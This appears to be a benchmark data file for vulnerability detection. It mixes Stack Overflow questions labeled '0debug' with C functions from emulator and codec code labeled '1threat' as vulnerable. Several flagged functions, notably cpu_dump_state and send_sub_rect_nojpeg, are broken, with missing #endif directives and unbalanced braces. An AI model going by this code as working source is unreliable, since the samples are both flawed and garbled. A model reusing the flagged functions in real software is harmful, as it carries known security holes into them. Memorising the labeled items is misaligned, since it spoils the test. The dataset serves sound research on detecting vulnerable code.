| 0debug |
Searching for a python package reading excel and not auto formating its raw values : <p>I encountered with several python packages which auto convert date strings values in cells to <code>datetime</code> representation automatically upon loading the excel with the package, can you point me to several packages which have a control over auto conversion of values when loading worksheet.</p>
<p>Thanks in advance</p>
| 0debug |
Why is my json_encode not working : <p>why is this <code>json_encode</code> not working. It was working when I had two values in the array but now with three it just shows nothing. </p>
<p>Using <code>json_last_error</code> in json_encode shows this error:</p>
<pre><code>Warning: json_encode() expects parameter 2 to be integer, string given in
</code></pre>
<p>This is the array:</p>
<pre><code>[8000] => Array
(
[employee_id] => AAAAA
[name] => tom
[tick] => 1
)
[8001] => Array
(
[employee_id] => BBBB
[name] => harry
[tick] => 1
)
[8002] => Array
(
[employee_id] => CCCC
[name] => sam
[tick] => 1
)
[8003] => Array
(
[employee_id] => DDD
[name] => ricky
[tick] => 1
)
</code></pre>
<p>This is the json encode code <code>$datas</code> is the array:</p>
<pre><code>$json = json_encode($datas, json_last_error);
var_dump($json);
</code></pre>
| 0debug |
i would like to know way to extract a particular substring from a regex in Jquery..here is my code : var patt1 =/[a-zA-Z\s]+:[a-zA-Z0-9\S]*/g;
this would extract the pattern string:someString
the "someString" is what i wish to extract i am aware that the slice() method could be used to do this, but I'm not entirely sure how to do this.
Any help would be greatly appreciated | 0debug |
static const unsigned char *seq_decode_op3(SeqVideoContext *seq, const unsigned char *src, unsigned char *dst)
{
int pos, offset;
do {
pos = *src++;
offset = ((pos >> 3) & 7) * seq->frame.linesize[0] + (pos & 7);
dst[offset] = *src++;
} while (!(pos & 0x80));
return src;
}
| 1threat |
Context in MVVM in android : <p>I have started working on MVVM architecture for android application.I have a doubt that is it right to pass the context to view model ? If not then how can my view model can access the context if needed.</p>
<p>I am doing the following things:</p>
<ol>
<li>Feed data using some EditText.</li>
<li>Send this data to View model.</li>
<li>View model send this data to repository</li>
<li>Repository storing this data to shared preferences of the device.</li>
</ol>
<p>As shared preferences required context to instantiate the object.</p>
<p>I am new to this architecture any guidance would be helpful for me, thanks in advance.</p>
| 0debug |
static void kvm_cpu_fill_host(x86_def_t *x86_cpu_def)
{
#ifdef CONFIG_KVM
KVMState *s = kvm_state;
uint32_t eax = 0, ebx = 0, ecx = 0, edx = 0;
assert(kvm_enabled());
x86_cpu_def->name = "host";
host_cpuid(0x0, 0, &eax, &ebx, &ecx, &edx);
x86_cpu_vendor_words2str(x86_cpu_def->vendor, ebx, edx, ecx);
host_cpuid(0x1, 0, &eax, &ebx, &ecx, &edx);
x86_cpu_def->family = ((eax >> 8) & 0x0F) + ((eax >> 20) & 0xFF);
x86_cpu_def->model = ((eax >> 4) & 0x0F) | ((eax & 0xF0000) >> 12);
x86_cpu_def->stepping = eax & 0x0F;
x86_cpu_def->level = kvm_arch_get_supported_cpuid(s, 0x0, 0, R_EAX);
x86_cpu_def->features[FEAT_1_EDX] =
kvm_arch_get_supported_cpuid(s, 0x1, 0, R_EDX);
x86_cpu_def->features[FEAT_1_ECX] =
kvm_arch_get_supported_cpuid(s, 0x1, 0, R_ECX);
if (x86_cpu_def->level >= 7) {
x86_cpu_def->features[FEAT_7_0_EBX] =
kvm_arch_get_supported_cpuid(s, 0x7, 0, R_EBX);
} else {
x86_cpu_def->features[FEAT_7_0_EBX] = 0;
}
x86_cpu_def->xlevel = kvm_arch_get_supported_cpuid(s, 0x80000000, 0, R_EAX);
x86_cpu_def->features[FEAT_8000_0001_EDX] =
kvm_arch_get_supported_cpuid(s, 0x80000001, 0, R_EDX);
x86_cpu_def->features[FEAT_8000_0001_ECX] =
kvm_arch_get_supported_cpuid(s, 0x80000001, 0, R_ECX);
cpu_x86_fill_model_id(x86_cpu_def->model_id);
if (!strcmp(x86_cpu_def->vendor, CPUID_VENDOR_VIA)) {
host_cpuid(0xC0000000, 0, &eax, &ebx, &ecx, &edx);
eax = kvm_arch_get_supported_cpuid(s, 0xC0000000, 0, R_EAX);
if (eax >= 0xC0000001) {
x86_cpu_def->xlevel2 = eax;
host_cpuid(0xC0000001, 0, &eax, &ebx, &ecx, &edx);
x86_cpu_def->features[FEAT_C000_0001_EDX] =
kvm_arch_get_supported_cpuid(s, 0xC0000001, 0, R_EDX);
}
}
x86_cpu_def->features[FEAT_SVM] =
kvm_arch_get_supported_cpuid(s, 0x8000000A, 0, R_EDX);
x86_cpu_def->features[FEAT_KVM] =
kvm_arch_get_supported_cpuid(s, KVM_CPUID_FEATURES, 0, R_EAX);
#endif
} | 1threat |
Seed data with old dates in Temporal Table - SQL Server : <p>I need to seed data for my local development purpose in the following Temporal Table, the start date should be old. The given Table Schema is</p>
<pre><code>CREATE TABLE [dbo].[Contact](
[ContactID] [uniqueidentifier] NOT NULL,
[ContactNumber] [nvarchar](50) NOT NULL,
[SequenceID] [int] IDENTITY(1,1) NOT NULL,
[SysStartTime] [datetime2](0) GENERATED ALWAYS AS ROW START NOT NULL,
[SysEndTime] [datetime2](0) GENERATED ALWAYS AS ROW END NOT NULL,
CONSTRAINT [PK_Contact] PRIMARY KEY NONCLUSTERED
(
[ContactID] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY],
PERIOD FOR SYSTEM_TIME ([SysStartTime], [SysEndTime])
) ON [PRIMARY]
WITH
(
SYSTEM_VERSIONING = ON (HISTORY_TABLE = [dbo].[ContactHistory] , DATA_CONSISTENCY_CHECK = ON )
)
</code></pre>
<p>I need to Insert some old dated data into this table.</p>
<pre><code>INSERT INTO dbo.Contact
(
ContactID,
ContactNumber,
--SequenceID - this column value is auto-generated
SysStartTime,
SysEndTime
)
VALUES
(
NEWID(), -- ContactID - uniqueidentifier
N'9999912345', -- ContactNumber - nvarchar
-- SequenceID - int
'2017-09-01 06:26:59', -- SysStartTime - datetime2
NULL -- SysEndTime - datetime2
)
</code></pre>
<p>I'm getting the following Error.</p>
<blockquote>
<p>Cannot insert an explicit value into a GENERATED ALWAYS column in
table 'DevDB.dbo.Contact'. Use INSERT with a column list to exclude
the GENERATED ALWAYS column, or insert a DEFAULT into GENERATED ALWAYS
column.</p>
</blockquote>
<p>Kindly assist me how to add or Update a old dataed data into this <strong>Temporal Table</strong></p>
| 0debug |
not able to compile code with "std::pair" : <p>I try to study and modify this program "<a href="https://github.com/PetterS/monte-carlo-tree-search.git" rel="nofollow">https://github.com/PetterS/monte-carlo-tree-search.git</a>" like this.</p>
<pre><code>diff --git a/games/connect_four.h b/games/connect_four.h
index a575217..52f59cf 100644
--- a/games/connect_four.h
+++ b/games/connect_four.h
@@ -3,6 +3,7 @@
#include <algorithm>
#include <iostream>
+#include <utility>
using namespace std;
#include <mcts.h>
@@ -15,6 +16,9 @@ public:
static const char player_markers[3];
+ typedef std::pair <int, int> MyMove;
+ static const MyMove my_no_move (-1, -1);
+
ConnectFourState(int num_rows_ = 6, int num_cols_ = 7)
: player_to_move(1),
num_rows(num_rows_),
</code></pre>
<p>i.e., introduce a new type "MyMove" with std::pair and a constant. This code does not compile. If I remove those lines, it compiles with no problem.</p>
<pre><code>.../monte-carlo-tree-search/games/connect_four.h:20:41: error: expected identifier before ‘-’ token
.../monte-carlo-tree-search/games/connect_four.h:20:41: error: expected ‘,’ or ‘...’ before ‘-’ token
</code></pre>
<p>However, on the same machine, I test the same part of code which compiles.</p>
<pre><code>#include <utility>
int main ()
{
typedef std::pair <int, int> MyMove;
static const MyMove my_no_move (-1, -1);
return 0;
}
$ g++ temp.C -std=c++0x
$
</code></pre>
<p>Why? I admit the compiler on my machine is not updated which does not fully support c++11, but how come same lines of code have different result. </p>
| 0debug |
Generic array creation error with LinkedHashMap<Integer, String>[] : <p>I've declared a variable as:</p>
<pre><code>LinkedHashMap<Integer, String>[] function_labels;
</code></pre>
<p>but when I try and instantiate it with:</p>
<pre><code>function_labels = new LinkedHashMap<Integer, String>[2];
</code></pre>
<p>I get a 'generic array creation' error.</p>
<p>I've searched on here, and although there are many posts about this error message,
no-one seems to have offered a solution which actually works, so I'm trying again...</p>
<p>I don't mind what type of collection <code>function_labels</code> is, as long as it works and I can access indexed members of it later. A simple array seems the 'lightest' solution, but there may be others which will work.</p>
<p>Thanks</p>
| 0debug |
Merge the values from two Collections using java : Merge the values from two Collections.I have two Collections having values such as [Balance, OrigYear, OrigRate] and [Sum, Count,Avg] . I wanted to created a collection or array list which will have a output like [Balance Sum, OrigYear Count, OrigRate Avg] . Could some one please suggest something using java as I'm naive user in writing code using java | 0debug |
Can we put a char digit into an int Stack in C programming language? : <p>We're given a char arithmetic expression and we should put the operands into an int stack and solve the expression with the operator and get the answer. Is it possible passing a character into a integer stack and get the answer?</p>
| 0debug |
Directory conventions for extra files : <p>I have written a (python) script which identifies all node on its subnet (NAT subnet) and send an email if the IP address doesn't exist within a record. For this size of project, I don't want to run a database. I think a text file delimited by new lines with an IP address on each would be suitable. What is the appropriate convention for the directory this file would be placed?</p>
| 0debug |
JQuery, Click any image : <p>Is it possible to write a JQUERY event that if any image is clicked on, a message box gets displayed. Or does every image have to have its own event to activate. I know how to specific images but is it possible to have one JQUERY for all images?</p>
| 0debug |
static void avc_h_loop_filter_luma_mbaff_msa(uint8_t *in, int32_t stride,
int32_t alpha_in, int32_t beta_in,
int8_t *tc0)
{
uint8_t *data = in;
uint32_t out0, out1, out2, out3;
uint64_t load;
uint32_t tc_val;
v16u8 alpha, beta;
v16i8 inp0 = { 0 };
v16i8 inp1 = { 0 };
v16i8 inp2 = { 0 };
v16i8 inp3 = { 0 };
v16i8 inp4 = { 0 };
v16i8 inp5 = { 0 };
v16i8 inp6 = { 0 };
v16i8 inp7 = { 0 };
v16i8 src0, src1, src2, src3;
v8i16 src4, src5, src6, src7;
v16u8 p0_asub_q0, p1_asub_p0, q1_asub_q0, p2_asub_p0, q2_asub_q0;
v16u8 is_less_than, is_less_than_alpha, is_less_than_beta;
v16u8 is_less_than_beta1, is_less_than_beta2;
v8i16 tc, tc_orig_r, tc_plus1;
v16u8 is_tc_orig1, is_tc_orig2, tc_orig = { 0 };
v8i16 p0_ilvr_q0, p0_add_q0, q0_sub_p0, p1_sub_q1;
v8u16 src2_r, src3_r;
v8i16 p2_r, p1_r, q2_r, q1_r;
v16u8 p2, q2, p0, q0;
v4i32 dst0, dst1;
v16i8 zeros = { 0 };
alpha = (v16u8) __msa_fill_b(alpha_in);
beta = (v16u8) __msa_fill_b(beta_in);
if (tc0[0] < 0) {
data += (2 * stride);
} else {
load = LOAD_DWORD(data - 3);
inp0 = (v16i8) __msa_insert_d((v2i64) inp0, 0, load);
load = LOAD_DWORD(data - 3 + stride);
inp1 = (v16i8) __msa_insert_d((v2i64) inp1, 0, load);
data += (2 * stride);
}
if (tc0[1] < 0) {
data += (2 * stride);
} else {
load = LOAD_DWORD(data - 3);
inp2 = (v16i8) __msa_insert_d((v2i64) inp2, 0, load);
load = LOAD_DWORD(data - 3 + stride);
inp3 = (v16i8) __msa_insert_d((v2i64) inp3, 0, load);
data += (2 * stride);
}
if (tc0[2] < 0) {
data += (2 * stride);
} else {
load = LOAD_DWORD(data - 3);
inp4 = (v16i8) __msa_insert_d((v2i64) inp4, 0, load);
load = LOAD_DWORD(data - 3 + stride);
inp5 = (v16i8) __msa_insert_d((v2i64) inp5, 0, load);
data += (2 * stride);
}
if (tc0[3] < 0) {
data += (2 * stride);
} else {
load = LOAD_DWORD(data - 3);
inp6 = (v16i8) __msa_insert_d((v2i64) inp6, 0, load);
load = LOAD_DWORD(data - 3 + stride);
inp7 = (v16i8) __msa_insert_d((v2i64) inp7, 0, load);
data += (2 * stride);
}
src0 = __msa_ilvr_b(inp1, inp0);
src1 = __msa_ilvr_b(inp3, inp2);
src2 = __msa_ilvr_b(inp5, inp4);
src3 = __msa_ilvr_b(inp7, inp6);
src4 = __msa_ilvr_h((v8i16) src1, (v8i16) src0);
src5 = __msa_ilvl_h((v8i16) src1, (v8i16) src0);
src6 = __msa_ilvr_h((v8i16) src3, (v8i16) src2);
src7 = __msa_ilvl_h((v8i16) src3, (v8i16) src2);
src0 = (v16i8) __msa_ilvr_w((v4i32) src6, (v4i32) src4);
src1 = __msa_sldi_b(zeros, (v16i8) src0, 8);
src2 = (v16i8) __msa_ilvl_w((v4i32) src6, (v4i32) src4);
src3 = __msa_sldi_b(zeros, (v16i8) src2, 8);
src4 = (v8i16) __msa_ilvr_w((v4i32) src7, (v4i32) src5);
src5 = (v8i16) __msa_sldi_b(zeros, (v16i8) src4, 8);
p0_asub_q0 = __msa_asub_u_b((v16u8) src2, (v16u8) src3);
p1_asub_p0 = __msa_asub_u_b((v16u8) src1, (v16u8) src2);
q1_asub_q0 = __msa_asub_u_b((v16u8) src4, (v16u8) src3);
p2_asub_p0 = __msa_asub_u_b((v16u8) src0, (v16u8) src2);
q2_asub_q0 = __msa_asub_u_b((v16u8) src5, (v16u8) src3);
is_less_than_alpha = (p0_asub_q0 < alpha);
is_less_than_beta = (p1_asub_p0 < beta);
is_less_than = is_less_than_alpha & is_less_than_beta;
is_less_than_beta = (q1_asub_q0 < beta);
is_less_than = is_less_than_beta & is_less_than;
is_less_than_beta1 = (p2_asub_p0 < beta);
is_less_than_beta2 = (q2_asub_q0 < beta);
p0_ilvr_q0 = (v8i16) __msa_ilvr_b((v16i8) src3, (v16i8) src2);
p0_add_q0 = (v8i16) __msa_hadd_u_h((v16u8) p0_ilvr_q0, (v16u8) p0_ilvr_q0);
p0_add_q0 = __msa_srari_h(p0_add_q0, 1);
p2_r = (v8i16) __msa_ilvr_b(zeros, src0);
p1_r = (v8i16) __msa_ilvr_b(zeros, src1);
p2_r += p0_add_q0;
p2_r >>= 1;
p2_r -= p1_r;
q2_r = (v8i16) __msa_ilvr_b(zeros, (v16i8) src5);
q1_r = (v8i16) __msa_ilvr_b(zeros, (v16i8) src4);
q2_r += p0_add_q0;
q2_r >>= 1;
q2_r -= q1_r;
tc_val = LOAD_WORD(tc0);
tc_orig = (v16u8) __msa_insert_w((v4i32) tc_orig, 0, tc_val);
tc_orig = (v16u8) __msa_ilvr_b((v16i8) tc_orig, (v16i8) tc_orig);
is_tc_orig1 = tc_orig;
is_tc_orig2 = tc_orig;
tc_orig_r = (v8i16) __msa_ilvr_b(zeros, (v16i8) tc_orig);
tc = tc_orig_r;
p2_r = CLIP_MIN_TO_MAX_H(p2_r, -tc_orig_r, tc_orig_r);
q2_r = CLIP_MIN_TO_MAX_H(q2_r, -tc_orig_r, tc_orig_r);
p2_r += p1_r;
q2_r += q1_r;
p2 = (v16u8) __msa_pckev_b((v16i8) p2_r, (v16i8) p2_r);
q2 = (v16u8) __msa_pckev_b((v16i8) q2_r, (v16i8) q2_r);
is_tc_orig1 = (zeros < is_tc_orig1);
is_tc_orig2 = is_tc_orig1;
is_tc_orig1 = is_less_than_beta1 & is_tc_orig1;
is_tc_orig2 = is_less_than_beta2 & is_tc_orig2;
is_tc_orig1 = is_less_than & is_tc_orig1;
is_tc_orig2 = is_less_than & is_tc_orig2;
p2 = __msa_bmnz_v((v16u8) src1, p2, is_tc_orig1);
q2 = __msa_bmnz_v((v16u8) src4, q2, is_tc_orig2);
q0_sub_p0 = __msa_hsub_u_h((v16u8) p0_ilvr_q0, (v16u8) p0_ilvr_q0);
q0_sub_p0 <<= 2;
p1_sub_q1 = p1_r - q1_r;
q0_sub_p0 += p1_sub_q1;
q0_sub_p0 = __msa_srari_h(q0_sub_p0, 3);
tc_plus1 = tc + 1;
is_less_than_beta1 = (v16u8) __msa_ilvr_b((v16i8) is_less_than_beta1,
(v16i8) is_less_than_beta1);
tc = (v8i16) __msa_bmnz_v((v16u8) tc, (v16u8) tc_plus1, is_less_than_beta1);
tc_plus1 = tc + 1;
is_less_than_beta2 = (v16u8) __msa_ilvr_b((v16i8) is_less_than_beta2,
(v16i8) is_less_than_beta2);
tc = (v8i16) __msa_bmnz_v((v16u8) tc, (v16u8) tc_plus1, is_less_than_beta2);
q0_sub_p0 = CLIP_MIN_TO_MAX_H(q0_sub_p0, -tc, tc);
src2_r = (v8u16) __msa_ilvr_b(zeros, src2);
src3_r = (v8u16) __msa_ilvr_b(zeros, src3);
src2_r += q0_sub_p0;
src3_r -= q0_sub_p0;
src2_r = (v8u16) CLIP_UNSIGNED_CHAR_H(src2_r);
src3_r = (v8u16) CLIP_UNSIGNED_CHAR_H(src3_r);
p0 = (v16u8) __msa_pckev_b((v16i8) src2_r, (v16i8) src2_r);
q0 = (v16u8) __msa_pckev_b((v16i8) src3_r, (v16i8) src3_r);
p0 = __msa_bmnz_v((v16u8) src2, p0, is_less_than);
q0 = __msa_bmnz_v((v16u8) src3, q0, is_less_than);
p2 = (v16u8) __msa_ilvr_b((v16i8) p0, (v16i8) p2);
q2 = (v16u8) __msa_ilvr_b((v16i8) q2, (v16i8) q0);
dst0 = (v4i32) __msa_ilvr_h((v8i16) q2, (v8i16) p2);
dst1 = (v4i32) __msa_ilvl_h((v8i16) q2, (v8i16) p2);
data = in;
out0 = __msa_copy_u_w(dst0, 0);
out1 = __msa_copy_u_w(dst0, 1);
out2 = __msa_copy_u_w(dst0, 2);
out3 = __msa_copy_u_w(dst0, 3);
if (tc0[0] < 0) {
data += (2 * stride);
} else {
STORE_WORD((data - 2), out0);
data += stride;
STORE_WORD((data - 2), out1);
data += stride;
}
if (tc0[1] < 0) {
data += (2 * stride);
} else {
STORE_WORD((data - 2), out2);
data += stride;
STORE_WORD((data - 2), out3);
data += stride;
}
out0 = __msa_copy_u_w(dst1, 0);
out1 = __msa_copy_u_w(dst1, 1);
out2 = __msa_copy_u_w(dst1, 2);
out3 = __msa_copy_u_w(dst1, 3);
if (tc0[2] < 0) {
data += (2 * stride);
} else {
STORE_WORD((data - 2), out0);
data += stride;
STORE_WORD((data - 2), out1);
data += stride;
}
if (tc0[3] >= 0) {
STORE_WORD((data - 2), out2);
data += stride;
STORE_WORD((data - 2), out3);
}
}
| 1threat |
IntelliJ Idea Slack user channel : <p>Is there a Slack user group / community dedicated to everything IntelliJ Idea such as keyboard shortcuts, plugins, support inquires, feature discussions, etc and if so what is its URL? Thanks.</p>
| 0debug |
void cpu_dump_state (CPUState *env, FILE *f, fprintf_function cpu_fprintf,
int flags)
{
#define RGPL 4
#define RFPL 4
int i;
cpu_fprintf(f, "NIP " TARGET_FMT_lx " LR " TARGET_FMT_lx " CTR "
TARGET_FMT_lx " XER " TARGET_FMT_lx "\n",
env->nip, env->lr, env->ctr, env->xer);
cpu_fprintf(f, "MSR " TARGET_FMT_lx " HID0 " TARGET_FMT_lx " HF "
TARGET_FMT_lx " idx %d\n", env->msr, env->spr[SPR_HID0],
env->hflags, env->mmu_idx);
#if !defined(NO_TIMER_DUMP)
cpu_fprintf(f, "TB %08" PRIu32 " %08" PRIu64
#if !defined(CONFIG_USER_ONLY)
" DECR %08" PRIu32
"\n",
cpu_ppc_load_tbu(env), cpu_ppc_load_tbl(env)
#if !defined(CONFIG_USER_ONLY)
, cpu_ppc_load_decr(env)
);
for (i = 0; i < 32; i++) {
if ((i & (RGPL - 1)) == 0)
cpu_fprintf(f, "GPR%02d", i);
cpu_fprintf(f, " %016" PRIx64, ppc_dump_gpr(env, i));
if ((i & (RGPL - 1)) == (RGPL - 1))
cpu_fprintf(f, "\n");
cpu_fprintf(f, "CR ");
for (i = 0; i < 8; i++)
cpu_fprintf(f, "%01x", env->crf[i]);
cpu_fprintf(f, " [");
for (i = 0; i < 8; i++) {
char a = '-';
if (env->crf[i] & 0x08)
a = 'L';
else if (env->crf[i] & 0x04)
a = 'G';
else if (env->crf[i] & 0x02)
a = 'E';
cpu_fprintf(f, " %c%c", a, env->crf[i] & 0x01 ? 'O' : ' ');
cpu_fprintf(f, " ] RES " TARGET_FMT_lx "\n",
env->reserve_addr);
for (i = 0; i < 32; i++) {
if ((i & (RFPL - 1)) == 0)
cpu_fprintf(f, "FPR%02d", i);
cpu_fprintf(f, " %016" PRIx64, *((uint64_t *)&env->fpr[i]));
if ((i & (RFPL - 1)) == (RFPL - 1))
cpu_fprintf(f, "\n");
cpu_fprintf(f, "FPSCR %08x\n", env->fpscr);
#if !defined(CONFIG_USER_ONLY)
cpu_fprintf(f, " SRR0 " TARGET_FMT_lx " SRR1 " TARGET_FMT_lx
" PVR " TARGET_FMT_lx " VRSAVE " TARGET_FMT_lx "\n",
env->spr[SPR_SRR0], env->spr[SPR_SRR1],
env->spr[SPR_PVR], env->spr[SPR_VRSAVE]);
cpu_fprintf(f, "SPRG0 " TARGET_FMT_lx " SPRG1 " TARGET_FMT_lx
" SPRG2 " TARGET_FMT_lx " SPRG3 " TARGET_FMT_lx "\n",
env->spr[SPR_SPRG0], env->spr[SPR_SPRG1],
env->spr[SPR_SPRG2], env->spr[SPR_SPRG3]);
cpu_fprintf(f, "SPRG4 " TARGET_FMT_lx " SPRG5 " TARGET_FMT_lx
" SPRG6 " TARGET_FMT_lx " SPRG7 " TARGET_FMT_lx "\n",
env->spr[SPR_SPRG4], env->spr[SPR_SPRG5],
env->spr[SPR_SPRG6], env->spr[SPR_SPRG7]);
if (env->excp_model == POWERPC_EXCP_BOOKE) {
cpu_fprintf(f, "CSRR0 " TARGET_FMT_lx " CSRR1 " TARGET_FMT_lx
" MCSRR0 " TARGET_FMT_lx " MCSRR1 " TARGET_FMT_lx "\n",
env->spr[SPR_BOOKE_CSRR0], env->spr[SPR_BOOKE_CSRR1],
env->spr[SPR_BOOKE_MCSRR0], env->spr[SPR_BOOKE_MCSRR1]);
cpu_fprintf(f, " TCR " TARGET_FMT_lx " TSR " TARGET_FMT_lx
" ESR " TARGET_FMT_lx " DEAR " TARGET_FMT_lx "\n",
env->spr[SPR_BOOKE_TCR], env->spr[SPR_BOOKE_TSR],
env->spr[SPR_BOOKE_ESR], env->spr[SPR_BOOKE_DEAR]);
cpu_fprintf(f, " PIR " TARGET_FMT_lx " DECAR " TARGET_FMT_lx
" IVPR " TARGET_FMT_lx " EPCR " TARGET_FMT_lx "\n",
env->spr[SPR_BOOKE_PIR], env->spr[SPR_BOOKE_DECAR],
env->spr[SPR_BOOKE_IVPR], env->spr[SPR_BOOKE_EPCR]);
cpu_fprintf(f, " MCSR " TARGET_FMT_lx " SPRG8 " TARGET_FMT_lx
" EPR " TARGET_FMT_lx "\n",
env->spr[SPR_BOOKE_MCSR], env->spr[SPR_BOOKE_SPRG8],
env->spr[SPR_BOOKE_EPR]);
cpu_fprintf(f, " MCAR " TARGET_FMT_lx " PID1 " TARGET_FMT_lx
" PID2 " TARGET_FMT_lx " SVR " TARGET_FMT_lx "\n",
env->spr[SPR_Exxx_MCAR], env->spr[SPR_BOOKE_PID1],
env->spr[SPR_BOOKE_PID2], env->spr[SPR_E500_SVR]);
switch (env->mmu_model) {
case POWERPC_MMU_32B:
case POWERPC_MMU_601:
case POWERPC_MMU_SOFT_6xx:
case POWERPC_MMU_SOFT_74xx:
case POWERPC_MMU_620:
case POWERPC_MMU_64B:
cpu_fprintf(f, " SDR1 " TARGET_FMT_lx "\n", env->spr[SPR_SDR1]);
break;
case POWERPC_MMU_BOOKE206:
cpu_fprintf(f, " MAS0 " TARGET_FMT_lx " MAS1 " TARGET_FMT_lx
" MAS2 " TARGET_FMT_lx " MAS3 " TARGET_FMT_lx "\n",
env->spr[SPR_BOOKE_MAS0], env->spr[SPR_BOOKE_MAS1],
env->spr[SPR_BOOKE_MAS2], env->spr[SPR_BOOKE_MAS3]);
cpu_fprintf(f, " MAS4 " TARGET_FMT_lx " MAS6 " TARGET_FMT_lx
" MAS7 " TARGET_FMT_lx " PID " TARGET_FMT_lx "\n",
env->spr[SPR_BOOKE_MAS4], env->spr[SPR_BOOKE_MAS6],
env->spr[SPR_BOOKE_MAS7], env->spr[SPR_BOOKE_PID]);
cpu_fprintf(f, "MMUCFG " TARGET_FMT_lx " TLB0CFG " TARGET_FMT_lx
" TLB1CFG " TARGET_FMT_lx "\n",
env->spr[SPR_MMUCFG], env->spr[SPR_BOOKE_TLB0CFG],
env->spr[SPR_BOOKE_TLB1CFG]);
break;
default:
break;
#undef RGPL
#undef RFPL | 1threat |
SQL Express 2014 Performance tweaks : I have a few customers who are running a third party program and they often complain of slowness when the program searches and even freezes at points. The computers are running i7 3.2ghz with 16 GB memory on a 1 terabyte hard drive. The performance of the actual computer is great. I am in no way a SQL Admin, I can navigate through it and write basic queries like inner joins. Are there any settings in SQL Express that I can modify to help performance wise? | 0debug |
Simple syntax PHP error : <p>I'm getting a syntax error </p>
<blockquote>
<p>Parse error: syntax error, unexpected 'text' (T_STRING) in C:... line 18.</p>
</blockquote>
<p>I don't exactly know why I am getting this error. The sooner the response the better. Thank you very much.</p>
<pre><code><?php
session_start();
?>
<!doctype html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>Login</title>
</head>
<body>
<div align="center">
<img src="logo.png" alt="school logo">
<h2>login</h2>
<?php
$form="<form action='./login.php' method='post'>
<table>
<tr>
<td>Email:</td>
<td>input type="text" name:"Email"/></td>
</tr>
<tr>
<td>Password:</td>
<td><input type="text" name:"Password"/></td>
</tr>
<tr>
<td><</td>
<td><input type="submit" name="loginbtn" value="login"/></td>
</tr>
</table>
</form>";
if ($_POST['loginbtn']){
$email=$_POST["email"];
$Password=$_POST["Password"];
if($email){
if($Password){
}
else
echo"you must enter your password .$form";
}
else
echo "you must enter your email .$form";
}
else
echo"";
?>
</div>
</body>
</html>
</code></pre>
| 0debug |
static int send_sub_rect_nojpeg(VncState *vs, int x, int y, int w, int h,
int bg, int fg, int colors, VncPalette *palette)
{
int ret;
if (colors == 0) {
if (tight_detect_smooth_image(vs, w, h)) {
ret = send_gradient_rect(vs, x, y, w, h);
ret = send_full_color_rect(vs, x, y, w, h);
}
} else if (colors == 1) {
ret = send_solid_rect(vs);
} else if (colors == 2) {
ret = send_mono_rect(vs, x, y, w, h, bg, fg);
} else if (colors <= 256) {
ret = send_palette_rect(vs, x, y, w, h, palette);
}
return ret;
} | 1threat |
I was wondering how I could make this work : <pre><code>name = raw_input("Hello sir! What is your name?")
print ("Nice to meet you " + name + "! Where were you born?")
born = input(" ")
print ("So your name is " + name + " and you were born in " + born + "!")
</code></pre>
<blockquote>
<p>And im getting the error " Nice to meet you Will! Where were you born?
Florida
Traceback (most recent call last):
File "C:/Users/39.cr/PycharmProjects/untitled/test.py", line 3, in
born = input(" ")
File "", line 1, in
NameError: name 'Florida' is not defined "</p>
</blockquote>
| 0debug |
elixir - how to get all elements except last in the list? : <p>Let say I have a list <code>[1, 2, 3, 4]</code></p>
<p>How can I get all elements from this list except last? So, I'll have <code>[1, 2, 3]</code></p>
| 0debug |
How to load only specific weights on Keras : <p>I have a trained model that I've exported the weights and want to partially load into another model.
My model is built in Keras using TensorFlow as backend.</p>
<p>Right now I'm doing as follows:</p>
<pre><code>model = Sequential()
model.add(Conv2D(32, (3, 3), input_shape=input_shape, trainable=False))
model.add(Activation('relu', trainable=False))
model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Conv2D(32, (3, 3), trainable=False))
model.add(Activation('relu', trainable=False))
model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Conv2D(64, (3, 3), trainable=True))
model.add(Activation('relu', trainable=True))
model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Flatten())
model.add(Dense(64))
model.add(Activation('relu'))
model.add(Dropout(0.5))
model.add(Dense(1))
model.add(Activation('sigmoid'))
model.compile(loss='binary_crossentropy',
optimizer='rmsprop',
metrics=['accuracy'])
model.load_weights("image_500.h5")
model.pop()
model.pop()
model.pop()
model.pop()
model.pop()
model.pop()
model.add(Conv2D(1, (6, 6),strides=(1, 1), trainable=True))
model.add(Activation('relu', trainable=True))
model.compile(loss='binary_crossentropy',
optimizer='rmsprop',
metrics=['accuracy'])
</code></pre>
<p>I'm sure it's a terrible way to do it, although it works.</p>
<p>How do I load just the first 9 layers?</p>
| 0debug |
What does (->) arrow operator do in c : <p>while I was coding on linked list in C I became so confused with the various use of the arrow operator in a single program.
Can anyone plz elaborate me about this operator in deep???</p>
| 0debug |
Go Extract value string from URL : I wanted to retrieve a value from a url how can I achieve this? Provided I have a url such as **http://myurl.com/theValue1/iWantToRetrieveThis**. So basically I want to split this value and want to retrieve **theValue1** and **iWantToRetrieveThis**. How can I do this? I tried the code below but it seems that it's only retrieving the query string
func decodeGetTokenRequest(_ context.Context, r *http.Request) (request interface{}, err error) {
fmt.Println("decoding here", path.Base(r.URL))
return getTokenRequest{
SellerID: r.URL.Query().Get("sellerid"), <<--- THis is empty
Scope: r.URL.Query().Get("scope"), <<-- This is also empty
Authorization: Validation{
credential: r.Header.Get("ETM-API-AUTH-KEY"),
},
}, nil
} | 0debug |
Tricky SQL Query : Is it possible? : <p>I am not exactly sure how to ask this. I have a table with the colums, timestamp,user,and another field. Looking like below:</p>
<pre>
<b>USER,TIME,FIELD</b>
USR1,MON,VALUE1
USR1,TUE,VALUE1
USR2,MON,VALUE1
USR2,MON,VALUE2
USR1,MON,VALUE1
</pre>
<p>There is no upper level to the amount of users, they can be added on the fly and there is no naming convention. What i want to do is make a select statement, and get something like be this:</p>
<pre>
<b>USR1,USR2</b>
MON,VALUE1: 2 1
MON,VALUE2: 0 1
TUE,VALUE1: 1 0
</pre>
<p>Is that possible?</p>
<p>I'm using MSSQL</p>
<p>Thank you in advance.</p>
| 0debug |
Which code is cleaner? : im rather new to jquery and i came across something. Which of the following is better to use? I think they'll do exactly the same thing.
<!-- begin snippet: js hide: false console: true babel: false -->
<!-- language: lang-js -->
$("p.expendable").on('mouseover', function(){
$(this).remove();
});
$('p').on('mouseover', function() {
$('p.expendable').remove();
});
<!-- end snippet -->
| 0debug |
